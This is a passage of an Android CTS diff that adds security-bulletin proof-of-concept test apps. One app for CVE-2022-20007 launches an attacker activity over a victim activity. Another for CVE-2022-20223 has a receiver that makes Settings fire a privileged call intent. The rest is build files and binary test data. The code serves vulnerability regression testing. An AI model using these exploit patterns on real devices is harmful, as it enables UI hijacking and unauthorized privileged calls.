+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ setSharedPreferenes(getResources().getInteger(R.integer.fail),
+ getString(R.string.failMessage));
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ setSharedPreferenes(getResources().getInteger(R.integer.pass),
+ getString(R.string.passMessage));
+ }
+
+ void setSharedPreferenes(int result, String message) {
+ SharedPreferences sh =
+ getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
new file mode 100644
index 0000000..7a4e841
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class PocMainActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ launchAttack();
+ }
+
+ public void launchAttack() {
+ String testPkgName = getPackageName();
+ final Intent coverIntent = new Intent();
+ coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
+ "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
+ coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+ final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
+ victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
+ Intent[] intents = {victimIntent, coverIntent};
+ try {
+ startActivities(intents);
+ } catch (ActivityNotFoundException e) {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey),
+ getResources().getInteger(R.integer.assumptionFailure));
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
new file mode 100644
index 0000000..df595c8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20223",
+ defaults: [
+ "cts_support_defaults"
+ ],
+ srcs: [
+ "src/**/*.java"
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
new file mode 100644
index 0000000..8ad5acb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20223">
+
+ <application>
+ <receiver
+ android:name=".PocBroadcastReceiver"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20223" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
new file mode 100644
index 0000000..6257834
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="messageKey">message</string>
+ <string name="resType">string</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testFailMsg">
+ Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
+ check
+ </string>
+ <string name="textResId">user_restrictions_title</string>
+ <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
+ <string name="uriData">tel:555-TEST</string>
+ <string name="userName">CVE_2022_20223_RestrictedUser</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
new file mode 100644
index 0000000..e47e593
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ private Context mContext;
+
+ private String getDefaultDialerPackage() {
+ TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+ return telecomManager.getSystemDialerPackage();
+ }
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound = mDevice.wait(Until.hasObject(selector), TIMEOUT_MS);
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
+ clickUiObject(selector));
+
+ String settingsPackageName =
+ intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+ Context settingsContext = mContext.createPackageContext(settingsPackageName,
+ Context.CONTEXT_IGNORE_SECURITY);
+ Resources res = settingsContext.getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text = settingsContext
+ .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+
+ selector = By.res(mContext.getString(R.string.appSettingsIconResId));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.appSettingsIconResId)),
+ clickUiObject(selector));
+
+ assertFalse(mContext.getString(R.string.testFailMsg),
+ mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ String assumptionFailure =
+ sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
+ assumeTrue(assumptionFailure, assumptionFailure == null);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
new file mode 100644
index 0000000..c3c7083
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocBroadcastReceiver extends BroadcastReceiver {
+
+ ComponentName getPrivilegeCallDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
+ intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ return intent.resolveActivity(context.getPackageManager());
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
+ dialIntent.setPackage(context.getPackageName());
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ return;
+ } catch (Exception e) {
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putString(context.getString(R.string.messageKey), e.getMessage());
+ edit.commit();
+ }
+ }
+}
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
index 27ebc0f..30fa213 100644
--- a/hostsidetests/shortcuts/hostside/Android.bp
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -33,4 +33,24 @@
required: [
"CtsBackupHostTestCases",
],
+ data: [
+ ":CtsShortcutBackupLauncher1",
+ ":CtsShortcutBackupLauncher2",
+ ":CtsShortcutBackupLauncher3",
+ ":CtsShortcutBackupLauncher4new",
+ ":CtsShortcutBackupLauncher4old",
+ ":CtsShortcutBackupPublisher1",
+ ":CtsShortcutBackupPublisher2",
+ ":CtsShortcutBackupPublisher3",
+ ":CtsShortcutBackupPublisher4new",
+ ":CtsShortcutBackupPublisher4new_nobackup",
+ ":CtsShortcutBackupPublisher4new_nomanifest",
+ ":CtsShortcutBackupPublisher4new_wrongkey",
+ ":CtsShortcutBackupPublisher4old",
+ ":CtsShortcutBackupPublisher4old_nomanifest",
+ ":CtsShortcutMultiuserTest",
+ ":CtsShortcutUpgradeVersion1",
+ ":CtsShortcutUpgradeVersion2",
+ ],
+ per_testcase_directory: true,
}
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
index 791d0dd..c2dc28f 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
index 0a26d23..880ab4a 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
index 5ed2c7e..8c84cd5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
index 133f7f7..b519bbe 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 6ce5397..38e2339 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
new file mode 100644
index 0000000..3d7bf51
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
index 4228ffe..f4bc7e8 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
index de090f1..59e9fe1 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
index 162044c..353949b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
index 9d68887..c39b790 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 44f7613..da25328 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
index 389871d..3eaf372 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
index f8fa44f..6f38273 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index 9658818..1969746 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index 3440043..be642bf 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
index d6f7d8f..7bebb77 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index cc214f8..8006022 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index dab82a0..3465dbb 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 9706f2f..67743a9 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
index f305cff..aa1c10c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
index 3122c96..b345bca 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
index 0f5134d..c3bab7c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
index a83bf51..4733bad 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 703b641..6972daa 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
index 806ccc7..4cda1c6 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
index a94ae75..030c53b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
index a9c2758..b090a96 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
index 5ed2c7e..c498b32 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
index 133f7f7..e83ec07 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 6ce5397..4545b1c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
new file mode 100644
index 0000000..298fd85
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
index 4228ffe..d911fe0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
